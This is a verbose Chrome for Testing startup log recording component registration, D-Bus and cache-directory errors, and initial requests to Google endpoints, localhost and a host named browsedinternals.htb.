[2555:2576:0111/001625.949402:VERBOSE1:component_installer.cc(481)] StartRegistration for Amount Extraction Heuristic Regexes
[2555:2566:0111/001625.957875:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Session_13399919510846880
[2555:2567:0111/001625.958500:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Tabs_13399919511055706
[2555:2555:0111/001625.959671:VERBOSE1:profile_manager.cc(1272)] AddKeepAlive(Default, kBrowserWindow). keep_alives=[kWaitingForFirstBrowserWindow (1), kBrowserWindow (1)]
[2555:2555:0111/001625.960393:VERBOSE1:profile_manager.cc(1350)] ClearFirstBrowserWindowKeepAlive(Default). keep_alives=[kBrowserWindow (1)]
[2555:2570:0111/001626.026795:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001626.026830:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2566:0111/001626.113913:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.213000:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.282007:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.283058:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.290713:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2570:0111/001626.290909:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.291913:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2585:2590:0111/001626.301770:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://clients2.google.com/time/1/current?cup2key=8:z6rGubbiEwgZrAhMkLxfxR_znI73QuoBSyJTp1b7-gU&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
[2585:2590:0111/001626.316839:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/
[2585:2590:0111/001626.317292:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/
[2585:2590:0111/001626.317559:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
[2555:2555:0111/001626.332021:VERBOSE1:component_installer.cc(560)] FinishRegistration for Widevine Content Decryption Module
[2555:2555:0111/001626.332096:VERBOSE1:component_updater_service.cc(165)] CrxUpdateService starting up. First update attempt will take place in 60 s seconds. Next update attempt will take place in 18000 s seconds. 
[2555:2555:0111/001626.332157:VERBOSE1:component_installer.cc(601)] Component ready, version 4.10.2891.0 in /opt/chrome-linux64/WidevineCdm
[2555:2555:0111/001626.332195:VERBOSE1:component_installer.cc(560)] FinishRegistration for Subresource Filter Rules
[2555:2555:0111/001626.332237:VERBOSE1:component_installer.cc(560)] FinishRegistration for OnDeviceHeadSuggest
[2555:2555:0111/001626.332259:VERBOSE1:component_installer.cc(560)] FinishRegistration for Trust Token Key Commitments
[2555:2555:0111/001626.332298:VERBOSE1:component_installer.cc(560)] FinishRegistration for Optimization Hints
[2555:2555:0111/001626.332321:VERBOSE1:component_installer.cc(560)] FinishRegistration for History Search
[2555:2555:0111/001626.332346:VERBOSE1:component_installer.cc(560)] FinishRegistration for Fingerprinting Protection Filter Rules
[2555:2555:0111/001626.332389:VERBOSE1:component_installer.cc(560)] FinishRegistration for File Type Policies
[2555:2555:0111/001626.332408:VERBOSE1:component_installer.cc(560)] FinishRegistration for Origin Trials
[2555:2555:0111/001626.332440:VERBOSE1:component_installer.cc(560)] FinishRegistration for Certificate Error Assistant
[2555:2555:0111/001626.332463:VERBOSE1:component_installer.cc(560)] FinishRegistration for CRLSet
[2555:2555:0111/001626.332480:VERBOSE1:component_installer.cc(560)] FinishRegistration for Safety Tips
[2555:2555:0111/001626.332498:VERBOSE1:component_installer.cc(560)] FinishRegistration for Privacy Sandbox Attestations
[2555:2555:0111/001626.332512:VERBOSE1:component_installer.cc(601)] Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2555:2555:0111/001626.332543:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(111)] Privacy Sandbox Attestations Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2555:2555:0111/001626.332554:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(188)] Received privacy sandbox attestations file
[2555:2555:0111/001626.332585:VERBOSE1:component_installer.cc(560)] FinishRegistration for Masked Domain List
[2555:2555:0111/001626.332630:VERBOSE1:component_installer.cc(560)] FinishRegistration for PKI Metadata
[2555:2555:0111/001626.332660:VERBOSE1:component_installer.cc(560)] FinishRegistration for Crowd Deny
[2555:2555:0111/001626.332681:VERBOSE1:component_installer.cc(560)] FinishRegistration for Zxcvbn Data Dictionaries
[2555:2555:0111/001626.332713:VERBOSE1:component_installer.cc(560)] FinishRegistration for MEI Preload
[2555:2555:0111/001626.332727:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.7.1652906823 in /opt/chrome-linux64/MEIPreload
[2555:2568:0111/001626.332738:VERBOSE1:widevine_cdm_component_installer.cc(398)] Updating hint file with Widevine CDM 4.10.2891.0
[2555:2555:0111/001626.332746:VERBOSE1:component_installer.cc(560)] FinishRegistration for Autofill States Data
[2555:2555:0111/001626.332764:VERBOSE1:component_installer.cc(560)] FinishRegistration for Hyphenation
[2555:2555:0111/001626.332782:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2555:2555:0111/001626.332790:VERBOSE1:hyphenation_component_installer.cc(110)] Hyphenation Component ready, version 1.0.0.0 in /opt/chrome-linux64/hyphen-data
[2555:2555:0111/001626.332829:VERBOSE1:component_installer.cc(560)] FinishRegistration for Cookie Readiness List
[2555:2555:0111/001626.333068:VERBOSE1:component_installer.cc(560)] FinishRegistration for Third-Party Cookie Deprecation Metadata
[2555:2555:0111/001626.333095:VERBOSE1:component_installer.cc(560)] FinishRegistration for Plus Address Blocklist
[2555:2555:0111/001626.333115:VERBOSE1:component_installer.cc(560)] FinishRegistration for Open Cookie Database
[2555:2555:0111/001626.333187:VERBOSE1:component_installer.cc(560)] FinishRegistration for Amount Extraction Heuristic Regexes
[2555:2555:0111/001626.343503:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.343583:VERBOSE1:idle_linux.cc(129)] org.freedesktop.ScreenSaver D-Bus service does not exist
[2555:2566:0111/001626.343732:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2654:0111/001626.370105:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2555:2555:0111/001626.372615:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2654:0111/001626.373292:VERBOSE1:bus.cc(700)] Filter function already exists: 1 with associated data: 0x2fbc0731b100
[2555:2654:0111/001626.373347:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.UPower"

[2555:2654:0111/001626.385883:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x2fbc0731b020
[2555:2654:0111/001626.385920:VERBOSE1:bus.cc(721)] Requested to remove an unknown filter function: 1 with associated data: 0x2fbc0731af40
[2555:2555:0111/001626.389895:VERBOSE1:privacy_sandbox_attestations.cc(411)] Parsed Privacy Sandbox Attestation list version: 2025.1.31.0
[2555:2555:0111/001626.389973:VERBOSE1:privacy_sandbox_attestations.cc(413)] Number of attestation entries: 259
[2555:2555:0111/001626.390530:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.390551:VERBOSE1:idle_linux.cc(129)] org.cinnamon.ScreenSaver D-Bus service does not exist
[2555:2575:0111/001626.390633:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2585:2589:0111/001626.396287:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2589:0111/001626.396666:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index": No such file or directory (2)
[2585:2589:0111/001626.397646:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/index-dir": No such file or directory (2)
[2585:2589:0111/001626.397717:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data/the-real-index": No such file or directory (2)
[2585:2589:0111/001626.397981:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2589:0111/001626.398028:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Cache/Cache_Data
[2585:2590:0111/001626.399060:ERROR:disk_cache.cc(216)] Unable to create cache
[2585:2588:0111/001626.399221:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_000": No such file or directory (2)
[2585:2588:0111/001626.399442:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_001": No such file or directory (2)
[2585:2588:0111/001626.399488:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_002": No such file or directory (2)
[2585:2588:0111/001626.399815:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_003": No such file or directory (2)
[2585:2588:0111/001626.399878:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_004": No such file or directory (2)
[2585:2588:0111/001626.399919:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_005": No such file or directory (2)
[2585:2588:0111/001626.400490:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_006": No such file or directory (2)
[2585:2588:0111/001626.400549:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_007": No such file or directory (2)
[2585:2588:0111/001626.400590:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_008": No such file or directory (2)
[2585:2588:0111/001626.400812:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_009": No such file or directory (2)
[2585:2588:0111/001626.401332:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_010": No such file or directory (2)
[2585:2588:0111/001626.401424:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_011": No such file or directory (2)
[2585:2588:0111/001626.401854:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_012": No such file or directory (2)
[2585:2588:0111/001626.401969:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_013": No such file or directory (2)
[2585:2588:0111/001626.402010:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_014": No such file or directory (2)
[2585:2588:0111/001626.402044:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_015": No such file or directory (2)
[2585:2588:0111/001626.402088:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_016": No such file or directory (2)
[2585:2588:0111/001626.402150:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_017": No such file or directory (2)
[2585:2588:0111/001626.402193:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_018": No such file or directory (2)
[2585:2588:0111/001626.402314:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_019": No such file or directory (2)
[2585:2588:0111/001626.402351:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_020": No such file or directory (2)
[2585:2588:0111/001626.402372:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_021": No such file or directory (2)
[2585:2588:0111/001626.402389:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_022": No such file or directory (2)
[2585:2588:0111/001626.402406:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_023": No such file or directory (2)
[2585:2588:0111/001626.402423:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_024": No such file or directory (2)
[2585:2588:0111/001626.402440:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_025": No such file or directory (2)
[2585:2588:0111/001626.402458:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_026": No such file or directory (2)
[2585:2588:0111/001626.402475:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_027": No such file or directory (2)
[2585:2588:0111/001626.402492:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_028": No such file or directory (2)
[2585:2588:0111/001626.402509:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_029": No such file or directory (2)
[2585:2588:0111/001626.402526:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_030": No such file or directory (2)
[2585:2588:0111/001626.402543:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_031": No such file or directory (2)
[2585:2588:0111/001626.402560:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_032": No such file or directory (2)
[2585:2588:0111/001626.402577:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_033": No such file or directory (2)
[2585:2588:0111/001626.402594:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_034": No such file or directory (2)
[2585:2588:0111/001626.402611:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_035": No such file or directory (2)
[2585:2588:0111/001626.402629:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_036": No such file or directory (2)
[2585:2588:0111/001626.402646:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_037": No such file or directory (2)
[2585:2588:0111/001626.402663:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_038": No such file or directory (2)
[2555:2566:0111/001626.402674:VERBOSE1:token_service_table.cc(202)] Loaded tokens: result = 3 ; number of tokens loaded = 0
[2585:2588:0111/001626.402680:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_039": No such file or directory (2)
[2585:2588:0111/001626.402698:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_040": No such file or directory (2)
[2585:2588:0111/001626.402715:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_041": No such file or directory (2)
[2585:2588:0111/001626.402734:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_042": No such file or directory (2)
[2585:2588:0111/001626.402752:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_043": No such file or directory (2)
[2585:2588:0111/001626.402769:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_044": No such file or directory (2)
[2585:2588:0111/001626.402786:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_045": No such file or directory (2)
[2585:2588:0111/001626.402807:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_046": No such file or directory (2)
[2585:2588:0111/001626.402833:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_047": No such file or directory (2)
[2585:2588:0111/001626.402858:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_048": No such file or directory (2)
[2585:2588:0111/001626.402876:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_049": No such file or directory (2)
[2585:2588:0111/001626.402893:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_050": No such file or directory (2)
[2585:2588:0111/001626.402911:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_051": No such file or directory (2)
[2585:2588:0111/001626.402928:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_052": No such file or directory (2)
[2585:2588:0111/001626.402945:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_053": No such file or directory (2)
[2585:2588:0111/001626.402962:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_054": No such file or directory (2)
[2585:2588:0111/001626.402979:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_055": No such file or directory (2)
[2585:2588:0111/001626.402996:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_056": No such file or directory (2)
[2585:2588:0111/001626.403013:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_057": No such file or directory (2)
[2585:2588:0111/001626.403030:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_058": No such file or directory (2)
[2585:2588:0111/001626.403047:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_059": No such file or directory (2)
[2585:2588:0111/001626.403064:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_060": No such file or directory (2)
[2585:2588:0111/001626.403081:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_061": No such file or directory (2)
[2585:2588:0111/001626.403098:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_062": No such file or directory (2)
[2585:2588:0111/001626.403116:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_063": No such file or directory (2)
[2585:2588:0111/001626.403358:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_064": No such file or directory (2)
[2585:2588:0111/001626.403400:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_065": No such file or directory (2)
[2585:2588:0111/001626.403434:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_066": No such file or directory (2)
[2585:2588:0111/001626.403475:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_067": No such file or directory (2)
[2585:2588:0111/001626.403510:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_068": No such file or directory (2)
[2585:2588:0111/001626.403544:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_069": No such file or directory (2)
[2585:2588:0111/001626.403578:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_070": No such file or directory (2)
[2585:2588:0111/001626.403627:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_071": No such file or directory (2)
[2585:2588:0111/001626.403669:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_072": No such file or directory (2)
[2585:2588:0111/001626.403704:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_073": No such file or directory (2)
[2585:2588:0111/001626.403739:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_074": No such file or directory (2)
[2585:2588:0111/001626.403773:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_075": No such file or directory (2)
[2585:2588:0111/001626.403807:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_076": No such file or directory (2)
[2585:2588:0111/001626.403846:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_077": No such file or directory (2)
[2585:2588:0111/001626.403884:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_078": No such file or directory (2)
[2585:2588:0111/001626.403922:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_079": No such file or directory (2)
[2585:2588:0111/001626.403959:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_080": No such file or directory (2)
[2585:2588:0111/001626.403997:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_081": No such file or directory (2)
[2585:2588:0111/001626.404035:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_082": No such file or directory (2)
[2585:2588:0111/001626.404073:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_083": No such file or directory (2)
[2585:2588:0111/001626.404111:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_084": No such file or directory (2)
[2585:2588:0111/001626.404171:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_085": No such file or directory (2)
[2585:2588:0111/001626.404211:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_086": No such file or directory (2)
[2585:2588:0111/001626.404249:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_087": No such file or directory (2)
[2585:2588:0111/001626.404296:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_088": No such file or directory (2)
[2585:2588:0111/001626.404334:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_089": No such file or directory (2)
[2585:2588:0111/001626.404379:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_090": No such file or directory (2)
[2585:2588:0111/001626.404418:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_091": No such file or directory (2)
[2585:2588:0111/001626.404455:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_092": No such file or directory (2)
[2585:2588:0111/001626.404493:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_093": No such file or directory (2)
[2585:2588:0111/001626.404530:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_094": No such file or directory (2)
[2585:2588:0111/001626.405270:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_095": No such file or directory (2)
[2585:2588:0111/001626.405325:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_096": No such file or directory (2)
[2585:2588:0111/001626.405379:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_097": No such file or directory (2)
[2585:2588:0111/001626.405489:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_098": No such file or directory (2)
[2585:2588:0111/001626.405555:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_099": No such file or directory (2)
[2555:2555:0111/001626.416520:VERBOSE1:partitioned_lock_manager.cc(212)] Acquiring <PartitionedLockId>{id: 0x31, partition: 0} for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.419483:VERBOSE1:partitioned_lock_manager.cc(194)] All locks acquired for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.432536:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.432559:VERBOSE1:idle_linux.cc(129)] org.gnome.ScreenSaver D-Bus service does not exist
[2555:2566:0111/001626.432886:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.439461:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Session.TotalDuration
